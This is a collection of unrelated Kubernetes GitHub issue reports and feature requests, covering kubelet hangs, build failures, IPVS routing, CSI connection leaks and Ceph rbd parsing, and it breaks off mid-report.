durationbeforeretry 2m2s . error: \ no vm found\

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r sig/autoscaling\r \r   what happened  :\r we are attempting to use horizontal pod autoscaling in our cluster. the cluster autoscaler yaml is already deployed to our cluster but not through helm. however the horizontalpodautoscaler yamls are in our charts folder and are deployed through helm. but we are getting the error: \ deployments/scale.extensions <name-of-extension> not found when pushing the release into the cluster. \r \r   what you expected to happen  :\r the hpa yamls reference the deployments that are expected to occur in the cluster but each deployment cant find the extension itself. \r   how to reproduce it  as minimally and precisely as possible   :\r have a cluster. deploy the hpa yamls using helm but deploy the cluster autoscaler using the command '''kubectl create -f <modified-cluster-autoscaler.yaml>'''\r   anything else we need to know?  :\r i'm also using the azure-k8s-adapter to keep track of external metrics and wonder if that is messing up the hpa stuff. \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8+\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what would you like to be added  :\r \r %cpu request\r %memory request

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :  building kubernetes release and it failed due to a variable not being set   with  set -u  enabled  https://github.com/kubernetes/kubernetes/blob/caf9d94d697ce327e0c1c3dee71a1f06a6fc918e/build/release.sh l25  . it appears a  recent commit  https://github.com/kubernetes/kubernetes/commit/dcee810a3f544cd0669c252945b29bfeedcd119b  does not function as expected on  bash v4.3   used ubuntu 16 . additional details will be provided in comment below\r    \r kubernetes/hack/lib/golang.sh: line 295: kube_server_platforms @ : unbound variable\r    \r \r   what you expected to happen  : successful build of kuberentes release or documented minimum supported os releases  i.e., bash versions \r \r   how to reproduce it  as minimally and precisely as possible   : using ubuntu 16   bash v4.3  , run  build/release.sh  using  release-1.14 ,  v1.15.0-alpha.2  or  master   containing https://github.com/kubernetes/kubernetes/commit/dcee810a3f544cd0669c252945b29bfeedcd119b or subsequent cherry pick \r \r   anything else we need to know?  :  it appears the issue is with how  bash v4.3  and  bash v4.4  create  readonly  variables, where i believe  v4.3  does not create the variables with the expected scope  created using  local  scope versus  global  scope . this creates a minimum supported os version when running  build/release.sh  from the best i can tell.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.15.0-alpha.2    release-1.14   https://github.com/kubernetes/kubernetes/commit/ffa6160e087d699282daca15085f9cb968240b80 \r - cloud provider or hardware configuration:  n/a\r - os  e.g:  cat /etc/os-release  :\r    \r release \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :   linux armada-lb-build 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:   build/release.sh \r - network plugin and version  if this is a network-related bug :  n/a\r - others:\r \r 

what happens when you make two replication controllers with the same selector, and different number of replicas?  do they battle it out, killing and starting pods.   consider a validation that makes sure that selectors are disjoint.    @bgrant0607 assures me that this is possible, and that the label/selector semantics are carefully crafted to make just this sort of check possible.

we've been encountering increasing number of issues where the  kubelet  seems to be in some sort of hung state while handling processing events  like creating or destroying a pod :      $ kubectl get po name                                   ready     status               appname-2331821309-lgj2o      0/1       containercreating      getting on the  kubelet  where the container is hung, the logs seem to have a lot of transport errors  maybe our  kube-apiserver  crashed or disappeared :   kubelet.log :      kubelet: e0613 11:01:53.943206   28599 reflector.go:271  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: get https://kube-apiserver:6443/api/v1/watch/pods?fieldselector=spec.nodename%3dkubelet01&resourceversion=6439574&timeoutseconds=420: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 11:01:53.943276   28599 reflector.go:271  pkg/kubelet/kubelet.go:240: failed to watch  api.service: get https://kube-apiserver:6443/api/v1/watch/services?resourceversion=6439299&timeoutseconds=487: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 11:01:53.943315   28599 reflector.go:271  pkg/kubelet/kubelet.go:259: failed to watch  api.node: get https://kube-apiserver:6443/api/v1/watch/nodes?fieldselector=metadata.name%3dkubelet01&resourceversion=6468007&timeoutseconds=505: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 11:01:55.640953   28599 reflector.go:271  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: too old resource version: 6439574  6468022  kubelet: e0613 11:01:55.667667   28599 reflector.go:271  pkg/kubelet/kubelet.go:240: failed to watch  api.service: too old resource version: 6439299  6468022  kubelet: e0613 11:01:55.843807   28599 reflector.go:271  pkg/kubelet/kubelet.go:259: failed to watch  api.node: too old resource version: 6468007  6468022  kubelet: e0613 11:09:54.814446   28599 reflector.go:271  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: too old resource version: 6468023  6468279  kubelet: e0613 15:34:56.610783   28599 reflector.go:271  pkg/kubelet/kubelet.go:259: failed to watch  api.node: get https://kube-apiserver:6443/api/v1/watch/nodes?fieldselector=metadata.name%3dkubelet01&resourceversion=6496591&timeoutseconds=398: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 15:34:56.615108   28599 reflector.go:271  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: get https://kube-apiserver:6443/api/v1/watch/pods?fieldselector=spec.nodename%3dkubelet01&resourceversion=6468845&timeoutseconds=374: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 15:34:56.615166   28599 reflector.go:271  pkg/kubelet/kubelet.go:240: failed to watch  api.service: get https://kube-apiserver:6443/api/v1/watch/services?resourceversion=6468023&timeoutseconds=532: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 15:34:57.613588   28599 reflector.go:271  pkg/kubelet/kubelet.go:259: failed to watch  api.node: get https://kube-apiserver:6443/api/v1/watch/nodes?fieldselector=metadata.name%3dkubelet01&resourceversion=6496591&timeoutseconds=405: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 15:34:57.617199   28599 reflector.go:271  pkg/kubelet/kubelet.go:240: failed to watch  api.service: get https://kube-apiserver:6443/api/v1/watch/services?resourceversion=6468023&timeoutseconds=429: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 15:34:57.617255   28599 reflector.go:271  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: get https://kube-apiserver:6443/api/v1/watch/pods?fieldselector=spec.nodename%3dkubelet01&resourceversion=6468845&timeoutseconds=526: dial tcp 10.0.0.1:6443: connection refused kubelet: e0613 15:34:58.786094   28599 reflector.go:271  pkg/kubelet/kubelet.go:259: failed to watch  api.node: too old resource version: 6496591  6496612  kubelet: e0613 15:34:58.969776   28599 reflector.go:271  pkg/kubelet/kubelet.go:240: failed to watch  api.service: too old resource version: 6468023  6496611  kubelet: e0613 15:34:59.037563   28599 reflector.go:271  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: too old resource version: 6468845  6496611  kubelet: e0613 15:35:00.512631   28599 reflector.go:271  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: too old resource version: 6496612  6496617       restarting the  kubelet  process seems to make everything process as expected.  while it's definitely not ideal  the apiserver being unavailable  i would not expect what is a very possible intermittent network failure to result in a completely unresponsive kubelet. instead i'd expect it to gracefully resolve itself and resume communication with the apiserver or to crash altogether. the latter would be a lot easier from an operators standpoint as at least we would have some idea there is an issue occurring.  sorry in advance for the sparse information in this issue. i'm happy to provide as much as possible but the issue has been pretty intermittent and the  kubelet  logs don't seem overly helpful.

test the bootstrap kubelet request and auto approve controller flow - probably will require test framework changes to allow custom invocation options for some tests - probably will require updating gce kube-up to use kubelet tls bootstrap optionally  ref https://github.com/kubernetes/features/issues/43  cc @liggitt @gtank @kubernetes/sig-cluster-lifecycle

kubernetes version    use  kubectl version  :\r \r     client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:20:04z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 14.04.5 lts\r -   kernel    e.g.  uname -a  : 3.13.0-100-generic\r \r   what happened  :\r we're seeing a slow increase in cpu usage of the controller-manager pod on our\r master. when investigating the logs i noticed that after about 60 minutes it\r seems to duplicate the replication controller's resync loop  which runs at a\r 10 minutes interval .\r \r over a period of a day or so this leads to a full resync running about every\r second.\r \r we're using an elb in front of the etcd cluster for kubernetes to talk to.\r turns out we have it configured with a 60 minute idle timeout. assuming that\r this is somehow related i lowered this to 15 minutes, causing it to create even\r more resyncs.\r \r talking directly to the etcd servers doesn't seem to have this problem.\r \r   how to reproduce it    as minimally and precisely as possible :\r put a loadbalancer between apiserver and etcd that closes idle connections.\r i only tested against aws' elb.\r \r   anything else do we need to know  :\r \r   logs for  controller-manager  http://devoo.ps/k8s/c-m.log ,  apiserver  http://devoo.ps/k8s/apiserver.log \r run  grep -a observed c-m.log | cut -d ' ' -f 2 | cut -d . -f 1 | uniq -c  to get\r a short list of resync run timestamps.\r \r   cluster size is up to 16 nodes, with minimal load on the scheduler\r \r   cpu usage graph for controller-manager: ! controller-manager cpu usage 7days  http://devoo.ps/k8s/c-m_cpu.png

my project imports kubernetes-1.5, and i uses bazel to build my project. i have do a local_repository to import kubernetes-1.5. when i build my project, the bazel complains \r    \r   bazel build api-server\r info: found 1 target...\r error: /root/.cache/bazel/_bazel_root/688c88e95304704f955aa7cc70c4ad60/external/io_k8s_kubernetes/pkg/util/sets/build:25:1: executing genrule @io_k8s_kubernetes//pkg/util/sets:set-gen failed: linux-sandbox failed: error executing command /root/.cache/bazel/_bazel_root/688c88e95304704f955aa7cc70c4ad60/execroot/api-server/_bin/linux-sandbox ...  remaining 5 argument s  skipped .\r e0227 10:17:09.995985       3 main.go:51  error: failed making a parser: unable to add directory \ ./pkg/util/sets/types\ : unable to import \ ./pkg/util/sets/types\ : open /root/.cache/bazel/_bazel_root/688c88e95304704f955aa7cc70c4ad60/bazel-sandbox/c44f975b-9154-4587-b3d0-81526d369604-2/execroot/api-server/pkg/util/sets/types: no such file or directory\r target //:api-server failed to build\r use --verbose_failures to see the command lines of failed build steps.\r error: /var/paas/test1/cloud-fabric/src/api-server/build:24:1 executing genrule @io_k8s_kubernetes//pkg/util/sets:set-gen failed: linux-sandbox failed: error executing command /root/.cache/bazel/_bazel_root/688c88e95304704f955aa7cc70c4ad60/execroot/api-server/_bin/linux-sandbox ...  remaining 5 argument s  skipped .\r info: elapsed time: 0.340s, critical path: 0.15s\r \r    \r the pkg/util/sets/build in kubernetes-1.5:\r    \r package default_visibility =  \ //visibility:public\   \r \r licenses  \ notice\   \r \r load \r     \ @io_bazel_rules_go//go:def.bzl\ ,\r     \ go_library\ ,\r     \ go_test\ ,\r  \r \r go_library \r     name = \ go_default_library\ ,\r     srcs =  \r         \ :set-gen\ ,\r      ,\r  \r \r go_test \r     name = \ go_default_test\ ,\r     srcs =  \ set_test.go\  ,\r     library = \ :go_default_library\ ,\r     tags =  \ automanaged\  ,\r  \r \r genrule \r     name = \ set-gen\ ,\r     srcs =  \r         \ //pkg/util/sets/types:types.go\ ,\r         \ //hack/boilerplate:boilerplate.go.txt\ ,\r      ,\r     outs =  \r         \ byte.go\ ,\r         \ doc.go\ ,\r         \ empty.go\ ,\r         \ int.go\ ,\r         \ int64.go\ ,\r         \ string.go\ ,\r      ,\r     cmd = \ \ \ \r $ location //cmd/libs/go2idl/set-gen  \\\r     --input-dirs ./pkg/util/sets/types \\\r     --output-base $ gendir /pkg/util \\\r     --go-header-file $ location //hack/boilerplate:boilerplate.go.txt  \\\r     --output-package sets\r     \ \ \ ,\r     tools =  \r         \ //cmd/libs/go2idl/set-gen\ ,\r      ,\r  \r    \r \r what's more:\r    \r bazel version: 0.4.3\r kubernetes: release-1.5\r rules_go:0.3.2\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r  \r opening this issue for general discussion, and to maybe bring to sig-node on to get feedback.\r \r this is heavily related to  46442, which was discussed in sig-aws today.  i consider this not a dupe though, since i think the feature goes beyond just unifying cloud provider behavior.\r \r in sig-aws there was a discussion about the discrepancy in behavior between aws and other services like azure: aws instances have the capability of being in a \ stopped\  state, but can then come up again with the same kubelet, to assume the same kubernetes node name.  so the aws cloud provider just leaves the node as-is  and heartbeats would eventually mark it as notready   other cloud providers will remove a kubernetes node when the vm itself is being shut down, and have no such state.\r \r there was a lot of discussion, around \ when is a node the same node\ , etc... but   i think there's a gap in the node state machine here: there's not a good way to reflect that a node is currently \ intentionally unavailable\   for maintenance perhaps, or just shut down for some other reason , but may come back later.  \r \r   potential benefits  \r \r - if we had this state, the aws and gce cloud provider would have a clearly correct thing to do when an instance is stopped: mark the k8s node as stopped too.\r \r - if someone was on-prem and wanted to bin-pack their pods and shutdown unused hardware to save power, it would be useful to mark those nodes as \ stopped\ . custom controllers could even be written for on-prem use cases that can power on those nodes when the demand for resources is high enough\r \r - there could be some savings of not having to heartbeat the node any more... a node could just be assumed down, and no further probes need to be sent, until something marks it as no longer stopped  for instance, when kubelet comes back again \r \r i'm wondering what the appetite for this would be, and just how much wrangling there would have to be in core for the various components to \ learn\  the stopped state, whether it's worth the potential bugs, etc.\r \r ping @justinsb \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r when i delete the pod with yaml file\r \r    \r  root@localhost influxdb   kubectl delete -f .\r service \ monitoring-grafana\  deleted\r serviceaccount \ heapster\  deleted\r service \ heapster\  deleted\r service \ monitoring-influxdb\  deleted\r error when stopping \ grafana.yaml\ : timed out waiting for the condition\r error when stopping \ heapster.yaml\ : timed out waiting for the condition\r error when stopping \ influxdb.yaml\ : timed out waiting for the condition\r    \r \r aug  3 05:20:38 localhost journal: w0803 09:20:38.272696       1 cache.go:367  couldn't expire cache for pod kube-system/monitoring-grafana-2495521324-r0gq3. binding is still in progress.\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r execute  kubectl delete -f . ,  kubectl create -f .  maybe 4 times\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r  24core, 64g mem \r - os  e.g. from /etc/os-release :\r  centos7.3 \r - kernel  e.g.  uname -a  :\r  linux localhost.localdomain 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r  kubeadm \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r as  53962 which support specify proxy mode for kubeadm is already in, we should add ipvs proxy kubeadm way in readme.md.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

\r hello,\r please is there any possibility to run a opencl gpu applications on kubernetes ?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   \r \r   what happened  :\r  kubectl top pod  do not support  --watch  now, it is better to support this so that cluster admin can monitor the resource usage change on time.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r reported by @cduchesne \r number of grpc on csi driver continues to climb, until kubelet is restarted.\r    \r   ss -x src /var/lib/kubelet/plugins/com.csi-driver/csi.sock  | wc\r   12483   99864 1697653\r    \r \r after restarting kubelet:\r    \r   ss -x src /var/lib/kubelet/plugins/com.csi-driver/csi.sock  | wc\r       6      48     781\r    \r \r   what you expected to happen  :\r number of connections to external csi driver should not continue to grow indefinitely until kubelet is restarted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r have kubernetes perform node operations against a csi driver. watch the number of connections continue to grow over time. watch the number of connections drop when kubelet is restarted.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r  i'm not sure this is actually a bug but it is definitely a behavior that is different from iptables and some applications rely on this \r \r   what happened  :\r from the host network namespace accessing a clusterip when using ipvs does not work  it only works when traffic is sent to a local pod \r \r   what you expected to happen  :\r to be able to use clusterips from the host network namespace\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - configure kube-proxy in ipvs mode\r - create a deployment and the associated service\r - try to access the clusterip from the host\r \r   anything else we need to know?  :\r this does not work due to how routing is set up when using ipvs\r if we create a service with clusterip    10.200.10.10   , kube-proxy will add this ip to the kube-ivps0 dummy interface:\r    \r ip addr show dev kube-ipvs0\r 3: kube-ipvs0: <broadcast,noarp> mtu 1500 qdisc noop state down group default\r     link/ether da:08:05:49:16:56 brd ff:ff:ff:ff:ff:ff\r     inet 10.200.10.10/32 brd 10.200.10.10 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r    \r which will add the ip to the local route table:\r    \r ip route show table local\r local 10.0.0.5 dev ens4 proto kernel scope host src 10.0.0.5\r local 10.200.10.10 dev kube-ipvs0 proto kernel scope host src 10.200.10.10\r    \r  where 10.0.0.5 is the main interface for the instance \r so when accessing the clusterip from the host, the source ip will default to the clusterip:\r    \r ip route get 10.200.10.10\r local 10.200.10.10 de lo src 10.200.10.10 uid 1001\r    \r after ipvs, the destination will be changed to a pod ip but the source will still be clusterip. since clusterips are not routable the answer will be lost.\r a workaround would be to modify the local route to use the ip of the main interface as source:\r    \r ip route replace local 10.200.10.10 dev kube-ipvs0 proto kernel scope host src 10.0.0.5 table local\r    \r i tested this and it seems to work fine.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.10.3 \r - cloud provider or hardware configuration:  gce \r - os  e.g. from /etc/os-release : ubuntu 18.04\r - kernel  e.g.  uname -a  : 4.15.0-1008-gcp\r

is this a bug report  :\r  \r   what happened  :\r the command  rbd info  reports size of rbd image now in gib and not in mb with ceph mimic. therefore size parsing in https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/rbd/rbd_util.go l721-l725 fails.\r \r    shell\r   rbd --version\r ceph version 13.2.0  79a10589f1f80dfe21e8f9794365ed98143071c4  mimic  stable \r   rbd info kubernetes-dynamic-pvc-43e93c1e-8066-11e8-bef6-00505694ab34 --pool rbd-stage -m 172.16.16.97:6789,172.16.16.98:6789,172.16.16.99:6789 --id stage_rbd --key=xxxxxxxxx\r rbd image 'kubernetes-dynamic-pvc-43e93c1e-8066-11e8-bef6-00505694ab34':\r \tsize 25 gib in 6400 objects\r \torder 22  4 mib objects \r \tid: 5b672643c9869\r \tblock_name_prefix: rbd_data.5b672643c9869\r \tformat: 2\r \tfeatures: \r \top_features: \r \tflags: \r \tcreate_timestamp: thu jul  5 17:15:35 2018\r    \r    shell\r   rbd --version\r ceph version 12.2.7  3ec878d1e53e1aeb47a9f619c49d9e7c0aa384d5  luminous  stable \r   rbd info kubernetes-dynamic-pvc-43e93c1e-8066-11e8-bef6-00505694ab34 --pool rbd-stage -m 172.16.16.97:6789,172.16.16.98:6789,172.16.16.99:6789 --id stage_rbd --key=xxxxxxxxx\r rbd image 'kubernetes-dynamic-pvc-43e93c1e-8066-11e8-bef6-00505694ab34':\r \tsize 25600 mb in 6400 objects\r \torder 22  4096 kb objects \r \tblock_name_prefix: rbd_data.5b672643c9869\r \tformat: 2\r \tfeatures: \r \tflags: \r \tcreate_timestamp: thu jul  5 17:15:35 2018\r    \r \r   what you expected to happen  :\r parsing with mb and gib should work to support also ceph mimic\r \r   how to reproduce it  as minimally and precisely as possible   :\r   install k8s\r   try to increase your pv\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   oc version\r oc v3.9.0+ba7faec-1\r kubernetes v1.9.1+a0ce1bc657\r features: basic-auth gssapi kerberos spnego\r \r server https://cp-lb-01.cloud.avm.de:443\r openshift v3.9.0+ba7faec-1\r kubernetes v1.9.1+a0ce1bc657\r    \r - os  e.g. from /etc/os-release : centos 7\r

what would you like to be added  :\r would like to see a mechanism added to the kube-apiserver for enforcing a minimum kubectl version.\r \r   why is this needed  :\r to protect both the cluster and end users in light of the recent kubectl cve.

i run the downwardapi volume example in docker kubernetes cluster.  after i create the pod, i  saw the pod is running , the i check the pod/container output, in the pod's /etc directory i not found the file created by the plugin.  root@ubuntu:~  kubectl get pods name                                    ready     status    restarts   age k8s-master-127.0.0.1                    3/3       running   6          18h kubernetes-downwardapi-volume-example   1/1       running   0          18h root@ubuntu:~  kubectl describe pods/kubernetes-downwardapi-volume-example name:                           kubernetes-downwardapi-volume-example namespace:                      default image s :                       gcr.io/google_containers/busybox node:                           127.0.0.1/127.0.0.1 labels:                         cluster=test-cluster1,rack=rack-22,zone=us-est-coast status:                         running reason: message: ip:                             172.17.0.1 replication controllers:        <none> containers:   client-container:     image:              gcr.io/google_containers/busybox     state:              running       started:          wed, 09 sep 2015 00:30:35 +0800     ready:              true     restart count:      0 conditions:   type          status   ready         true  no events.  root@ubuntu:~  kubectl exec kubernetes-downwardapi-volume-example -i -t -- sh /   ls -lar /etc /etc: total 20 drwxr-x---    2 0        0             4096 sep  8 16:30 . drwxr-xr-x   23 0        0             4096 sep  8 16:31 .. -rw-r--r--    1 0        0               38 sep  8 16:30 hostname -rw-r--r--    1 0        0              199 sep  8 16:30 hosts -rw-r--r--    1 0        0              176 sep  8 16:30 resolv.conf

when updating the cached pod volume stats in fs_resource_analyzer.go, we log a warning if a running pod is not found by the volume manager.  we should also log warnings for pods that are at least partially running or setup.

for a possible workaround to the problem of federation, can kubernetes have this behabour?: the ability the services have several sets of labels to select pods. the first set would be the priority, the second come into play if the  do not respond, and so on. with this capability, could have pods tagged area, and the services have sorted 

here are some suggestions for improving our api documentation.  by api documentation, i mean: - _operations_: http://kubernetes.io/v1.1/docs/api-reference/v1/operations.html - _definitions_: http://kubernetes.io/v1.1/docs/api-reference/v1/definitions.html - and so on for  other api groups  http://kubernetes.io/v1.1/docs/api-reference/extensions/v1beta1/operations.html  and newer versions  like 1.2       css changes 1.  don't have the k8s.io nav sidebar when viewing docs.  the docs need their own nav sidebar, since docs are so long.   2. don't have the k8s.io top nav bar when viewing docs.  if the person has found the api docs, they probably already are comfortable navigating other k8s.io documentation and don't need the top nav bar. 3. reduce padding in tables, and reduce font sizes so more text fits on the screen. 4. in the parameters table, give the \ description\  column more width.       generated formatting changes 1. remove the tags field, as it does not have any meaning to users. 2. remove the \ type\  column and instead have separate headings for \ query parameters\ , \ body\  and \ path parameters\  3. omit \ consumes: /\  sections.  this is implied by there being no bodyparameter. 4. group together all methods that have the same group/version/kind.  currently, proxy node and watch node and create node and get node are scattered throughout a file. 5.  there is only ever one bodyparameter, afaics.  so, instead of having the bodyparameter link to \ descriptions\ , consider inlining the description at the start of the section for that kind.      client library changes 1. have client libraries for multiple languages.  swagger can generate these. 2. have examples for each method for multiple languages, and show next to the method documentation.  for example, look at https://stripe.com/docs/api/python retrieve_balance.  i'm not sure how to autogenerate these, but it seems possible.

kubelet tests would stay green more often if i could easily assert some invariants at key places  e.g. pod.uid != \ \  .  but this is really only for tests.  ideas welcome on how to do this in a sane way, or why not to do it at all.

kubernetes 1.5.1 all in one  on the baremetal, external ceph cluster.\r \r using storageclass and pvc to provision volume.\r pvc is stuck in pending state and log indicates the following error. \r \r dec 17 09:43:08 kube-1 journal: e1217 14:43:08.506433       1 rbd_util.go:341  rbd: error creating rbd image: executable file not found in $path\r dec 17 09:43:08 kube-1 journal: e1217 14:43:08.506441       1 rbd.go:310  rbd: create volume failed, err: executable file not found in $path\r \r rbd executable is in path as you can see from the output below. \r  root@kube-1 local-cluster   which rbd\r /usr/bin/rbd\r \r if it is looking for some other executable then question 1: which one exactly? and 2: the error message should specify the name of executable which is missing.

a bunch of prs for the 1.5 branch are blocked because the  pull-kubernetes-e2e-kops-aws  suite keeps failing with  e2e.go:230: something went wrong: starting e2e cluster: kops configuration failed: exit status 1 .\r \r looks like the issue is specific to the pull test suite for 1.5--the ci suite  ci-kubernetes-e2e-aws-release-1.5  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-aws-release-1.5  is relatively green.\r \r failing prs:\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/40785/pull-kubernetes-e2e-kops-aws/11305/\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/40793/pull-kubernetes-e2e-kops-aws/11335/\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/40940/pull-kubernetes-e2e-kops-aws/11354/\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/40993/pull-kubernetes-e2e-kops-aws/11211/\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41118/pull-kubernetes-e2e-kops-aws/11373/

pv controller trigger delete disks when user delete the pvc if policy is persistentvolumereclaimdelete. however, in gce implementation, if the disk is no longer exist, the delete is considered failed operation, and controller will try to continue to delete. need to fix this in release 1.6

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.3\r \r   what happened  :\r i can't add windows node to kubernetes cluster.\r    description  \r now, i deploy on kubernets master on a linux node, the start config of master components is following:\r \r /opt/bin/kube-scheduler --logtostderr=true --master=127.0.0.1:8080\r /opt/bin/kube-apiserver --insecure-bind-address=0.0.0.0 --insecure-port=8080 --etcd-servers=http://127.0.0.1:4001 --logtostderr=true --service-cluster-ip-range=192.168.3.0/24 --admission-control=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,resourcequota --service-node-port-range=30000-32767 --advertise-address=10.183.201.66 --allow-privileged=true --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key\r /opt/bin/kube-controller-manager --master=127.0.0.1:8080 --root-ca-file=/srv/kubernetes/ca.crt --service-account-private-key-file=/srv/kubernetes/server.key --logtostderr=true\r \r then, i start kublet on a windows node with the 